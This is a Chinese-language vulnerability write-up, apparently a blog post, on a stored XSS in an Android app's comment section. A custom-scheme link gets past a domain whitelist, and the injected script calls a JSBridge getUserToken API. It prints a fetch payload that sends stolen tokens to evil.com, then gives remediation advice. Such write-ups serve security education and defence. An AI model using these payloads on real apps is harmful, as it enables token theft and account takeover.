任意 Schema 协议调用导致的任意用户登录
📋 漏洞概述
漏洞类型:存储型 XSS + JSBridge API 调用
影响范围:Android App 小程序评论区
危害等级:高危
漏洞原理:通过构造 Schema 协议绕过域名白名单限制,利用 XSS 调用 JSBridge API 窃取用户 Token
🔍 技术背景
1. Schema 协议
定义:Schema 协议是 Android 中的一种页面内跳转协议,用于方便 App 内部的页面跳转。
特点:
- 可以根据业务需求自定义协议名称
- 格式:
协议名://路径 - 示例:
a://xxx、b://xxx、myapp://page/home
作用:
- 实现 App 内部页面跳转
- 传递参数和数据
- 调用特定功能模块
2. JSBridge(JavaScript 桥接)
定义:JSBridge 是连接 H5 页面和原生 App 代码的"翻译器"。
工作原理:
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ H5 页面 │ ──────> │ JSBridge │ ──────> │ 原生代码 │
│ (JavaScript)│ │ (翻译器) │ │ (Android) │
└─────────────┘ └──────────────┘ └─────────────┘
功能:
- H5 → 原生:将 JavaScript 代码翻译成原生能理解的指令
- 示例:
window.bridge.getLocation()→callNative("getLocation")
- 示例:
- 原生 → H5:将原生指令翻译成 JavaScript 可执行的代码
- 示例:
webView.evaluateJavaScript→window.onPaySuccess()
- 示例:
常见用途:
- 调用摄像头、相册
- 获取位置信息
- 调用支付功能
- 获取用户信息、Token
- 调用系统 API
3. WebView(网页视图)
定义:WebView 是原生应用内置的一个类似浏览器的"小型浏览器"。
作用:
- 在 App 中运行 H5 页面
- 提供 JavaScript 执行环境
- JSBridge 必须依赖 WebView 才能工作
类比:
- 如果把 JSBridge 理解为一个快递中转站
- 那 WebView 就相当于一个小区用来放这个快递中转站
- 否则快递中转站无法给小区内的用户传递
🎯 漏洞发现过程
第一步:发现 WebView 接口
发现点:发现 App 下的一个接口(假设为 c 接口)启用了应用自带的 WebView。
关键信息:
- 接口启用了 WebView 渲染
- WebView 可以渲染 HTML 内容
第二步:发现 XSS 漏洞
发现点:发现 c 接口下存在一个 content 参数可控且可被渲染。
漏洞特征:
content参数用户可控- 内容直接渲染到 WebView 中
- 未进行充分的 HTML 转义和过滤
第三步:逆向分析 JSBridge API
分析方法:通过 APK 逆向分析,发现 App 实现了一些暴露给 JavaScript 的 API。
发现的 API:
a.getUserToken()- 获取用户 Token- 可能还有其他敏感 API(如获取用户信息、位置等)
第四步:构造恶意 Payload
Payload 构造:
a://xxx.公司域名.com/c?content=<script>fetch("http://恶意域名?token="+a.getUserToken())</script>
Payload 分析:
- Schema 协议:
a://xxx.公司域名.com- 绕过白名单限制 - XSS 注入:
<script>标签注入恶意代码 - JSBridge 调用:
a.getUserToken()获取用户 Token - 数据外传:通过
fetch()将 Token 发送到恶意服务器
🔓 绕过白名单机制
白名单限制机制
限制方式:App 的评论区对用户输入内容进行正则过滤,通过 ://xxx.公司域名.com 来实现第三方域名白名单限制。
预期效果:只允许访问公司域名下的链接。
绕过方法
绕过原理:通过构造恶意的 Schema 协议头来实现组合利用。
示例:
正常链接:https://xxx.公司域名.com/page
恶意构造:a://xxx.公司域名.com/c?content=<script>...</script>
为什么能绕过:
- 正则匹配可能只检查了
://后面的域名部分 - Schema 协议
a://被误认为是合法的公司域名链接 - 实际上
a://是自定义协议,不是 HTTP/HTTPS 协议
💥 攻击流程
完整攻击链
1. 攻击者构造恶意 Payload
↓
2. 在评论区发布包含恶意 Payload 的评论
↓
3. 评论以超链接形式展示
↓
4. 其他用户看到评论并点击链接
↓
5. App 打开 WebView 加载恶意内容
↓
6. XSS 代码执行,调用 JSBridge API
↓
7. 获取用户 Token 并发送到恶意服务器
↓
8. 攻击者获得 Token,实现任意用户登录
攻击示例
步骤 1:构造 Payload
a://xxx.公司域名.com/c?content=<script>
fetch("http://evil.com/steal?token=" + a.getUserToken())
</script>
步骤 2:发布评论
- 在评论区输入上述 Payload
- 系统将其识别为超链接并展示
步骤 3:用户点击
- 用户看到评论中的链接
- 点击后触发 Schema 协议跳转
步骤 4:执行攻击
- WebView 加载恶意内容
- XSS 代码执行
- 调用
a.getUserToken()获取 Token - 通过
fetch()发送到攻击者服务器
步骤 5:获取 Token
- 攻击者服务器收到 Token
- 使用 Token 实现任意用户登录

🛡️ 漏洞危害
直接影响
-
用户 Token 泄露
- 攻击者可以获取任意用户的登录 Token
- 实现任意用户账号登录
-
用户隐私泄露
- 可能获取用户个人信息
- 可能获取用户位置信息
- 可能获取其他敏感数据
-
账号劫持
- 攻击者可以使用泄露的 Token 登录用户账号
- 进行恶意操作(如发布内容、修改信息等)
潜在影响
-
大规模数据泄露
- 如果漏洞被大规模利用,可能导致大量用户数据泄露
-
业务安全风险
- 可能影响支付功能
- 可能影响其他依赖 Token 的业务功能
🔧 修复建议
1. 输入验证和过滤
建议:
- 对所有用户输入进行严格的 HTML 转义
- 使用白名单机制,只允许安全的 HTML 标签和属性
- 过滤或转义
<script>、onclick、onerror等危险内容
示例:
function sanitizeHTML(input) {
// 转义 HTML 特殊字符
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
2. Content Security Policy (CSP)
建议:
- 在 WebView 中实施严格的 CSP 策略
- 禁止内联脚本执行
- 限制外部资源加载
示例:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'none';">
3. JSBridge API 权限控制
建议:
- 对敏感的 JSBridge API 进行权限验证
- 限制哪些页面可以调用哪些 API
- 对 API 调用进行来源验证
示例:
// 只允许特定域名调用敏感 API
if (window.location.origin !== 'https://trusted-domain.com') {
throw new Error('Unauthorized API call');
}
4. Schema 协议白名单验证
建议:
- 严格验证 Schema 协议的合法性
- 不仅检查域名,还要检查协议类型
- 禁止在 Schema 协议中传递可执行代码
示例:
function validateSchema(url) {
// 只允许特定的 Schema 协议
const allowedSchemes = ['https', 'http'];
const scheme = url.split('://')[0];
return allowedSchemes.includes(scheme);
}
5. WebView 安全配置
建议:
- 禁用 JavaScript(如果不需要)
- 限制可以访问的域名
- 使用安全的 WebView 配置
Android 示例:
WebView webView = new WebView(context);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(false); // 如果不需要 JS
settings.setAllowFileAccess(false);
settings.setAllowContentAccess(false);
6. 输出编码
建议:
- 在渲染用户内容时进行 HTML 编码
- 使用框架提供的安全渲染方法
- 避免使用
innerHTML,使用textContent或安全的方法
📚 相关知识点总结
1. Schema 协议安全
- ✅ 只允许特定的协议类型(如
https://、http://) - ✅ 验证协议和域名的合法性
- ✅ 禁止在协议中传递可执行代码
2. JSBridge 安全
- ✅ 最小权限原则:只暴露必要的 API
- ✅ 权限验证:验证调用来源
- ✅ 敏感 API 保护:对 Token、用户信息等 API 进行额外保护
3. WebView 安全
- ✅ 禁用不必要的功能(如 JavaScript、文件访问)
- ✅ 实施 CSP 策略
- ✅ 限制可访问的域名
4. XSS 防护
- ✅ 输入验证和过滤
- ✅ 输出编码
- ✅ 使用安全的渲染方法
- ✅ 实施 CSP 策略
🎓 学习要点
-
理解 JSBridge 的工作原理
- JSBridge 是 H5 和原生代码的桥梁
- 必须依赖 WebView 才能工作
-
理解 Schema 协议的作用和风险
- Schema 协议用于 App 内部跳转
- 可能被用于绕过安全限制
-
理解 XSS 在移动端的危害
- 移动端 XSS 可以调用系统 API
- 危害可能比 Web 端更大
-
理解白名单绕过技巧
- 正则匹配可能存在绕过点
- 需要全面验证,不能只检查部分内容
⚠️ 免责声明
本文档仅用于安全研究和教育目的。未经授权的安全测试可能违法,请在获得明确授权的情况下进行安全测试。
如果漏洞的发现者偶然看到欢迎 + 我,抱紧大佬大腿~

浙公网安备 33010602011771号